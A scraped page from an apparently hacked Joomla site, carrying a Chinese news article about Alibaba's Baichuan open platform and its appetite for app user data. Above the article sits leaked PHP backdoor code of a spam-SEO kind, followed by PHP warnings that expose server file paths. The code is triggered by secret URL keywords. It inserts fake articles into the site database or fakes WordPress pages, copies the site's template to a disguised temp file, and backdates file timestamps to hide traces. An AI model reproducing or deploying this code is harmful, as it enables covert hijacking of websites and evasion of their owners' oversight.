if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#

\[CONTENT\]

#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } }
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/clients/publicrelations/wwwroot/nms/includes/framework.php:97) in /home/clients/publicrelations/wwwroot/nms/libraries/joomla/session/session.php on line 413

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/clients/publicrelations/wwwroot/nms/includes/framework.php:97) in /home/clients/publicrelations/wwwroot/nms/libraries/joomla/session/session.php on line 413

Warning: Cannot modify header information - headers already sent by (output started at /home/clients/publicrelations/wwwroot/nms/includes/framework.php:97) in /home/clients/publicrelations/wwwroot/nms/libraries/joomla/session/session.php on line 416
用户数据诱惑太大 阿里启动百川计划
Home 新媒体前沿 用户数据诱惑太大 阿里启动百川计划

用户数据诱惑太大 阿里启动百川计划

E-mail PDF


  [核心思路是以云平台为基础,从技术、商业、数据、场地、资金等方面为移动开发者提供基础设施服务,以期将“云+端”的模式纳入到自己的移动商业形态中]

  拥有电商大数据的阿里巴巴(95.76, 1.31, 1.39%),这次希望通过无线开放策略,从移动App开发者那里获得更大范围的外部数据体系。

  14日,《第一财经日报》记者在阿里巴巴[微博](NYSE:BABA)的百川无线开放大会上了解到,阿里启动百川计划,核心思路是以云平台为基础,从技术、商业、数据、场地、资金等方面为移动开发者提供基础设施服务,以期将“云(阿里提供的基础服务)+端(各种App)”的模式纳入到自己的移动商业形态中。

  以首批入驻百川计划的养宠互助交流平台“溜溜”举例来说,这款App目前已积累了15万用户,大家会在手机端分享养宠物心得和宠物消费信息,但面对越来越多的用户提出的宠物食品推荐和团购需求,这款App的初创团队尚无力与国内外宠物食品商家建立合作关系。

  通过加入阿里百川,溜溜分享了阿里巴巴的海量商品库,后者为其筛选出100多种爱宠人士推荐的宠物食品供应商,甚至给出低于淘宝的专享价格。溜溜用户在选择到自己喜欢的品牌后,可以直接在app内点击购买,页面无需再跳转到淘宝即可完成包括支付在内的所有交易流程,并可查看自己购买的产品发货等情况。

  当然,开发者从阿里无线开放策略中得到的并不局限于上述电商数据。据阿里巴巴集团首席运营官张勇称,阿里与移动开发者共享的还包括云计算、大数据,以及广告变现等。

  一个形象的比喻是,阿里百川提供了一堆“积木”,开发者从中找到对自己有用的积木,搭建“房子”。对于开发者来说,缩短开发周期和降低技术维护成本将是可以预见到的实惠。

  App开发者在阿里百川得到实惠,自然也要分享自己的资源,比如前述溜溜用户的数据可被阿里平台获取,用户也可以使用淘宝账户登录这款应用等。

  一位业内人士对《第一财经日报》记者表示,App开发者从阿里那里得到的可以是消费者数据、服务器和带宽的支持、云计算的能力等等;而阿里看中的并非从这些开发者手中拿到的收入分成,而是基于这些移动应用未来所产生的其他行业的数据体系,阿里想以此构建一个比电商消费数据更加丰满的“消费者画像”。从这个角度看,阿里的百川计划将呈现出巨大的想象空间。

  张勇对记者表示,多年前阿里在做PC端的淘宝开放平台时,采用的是单向的数据推送,而今年在无线领域的开放策略将形成数据的双向交互过程。也就是说,阿里的数据提供给开发者后,基于后者提供的App上的应用数据又将重新回到阿里的服务器上,形成闭环。

  记者了解到,除阿里巴巴外,类似的无线开放策略腾讯、百度(222.55, 5.52, 2.54%)等互联网巨头也在做,阿里靠什么吸引移动开发者?

  对此,张勇认为,大数据、云计算、电商、广告平台,这些是阿里巴巴的优势所在,百川给开发商提供的是一个资源整合过的完整的开放共享体系。“商品数据、用户数据、交易数据、支付数据,包括用户地理位置的数据,阿里基于这些数据形成的对整个用户的认知和触达的效率是其他任何开放体系不具备的。”

  “我们从来不会担保任何利用百川计划的App或者是服务就一定能够活,或者是一定能够活得很好,我们提供的是积木,提供的是水电煤,让他们利用这些基础服务,为消费者提供更好的服务。”张勇说。

  国际化是阿里巴巴上市后重点发力方向之一,而在移动端生态的拓展同样是阿里未来的一个战略核心。马云[微博]在今年年初提出“云+端”的战略思路,经过大半年的酝酿,这次通过无线开放平台实现了落地。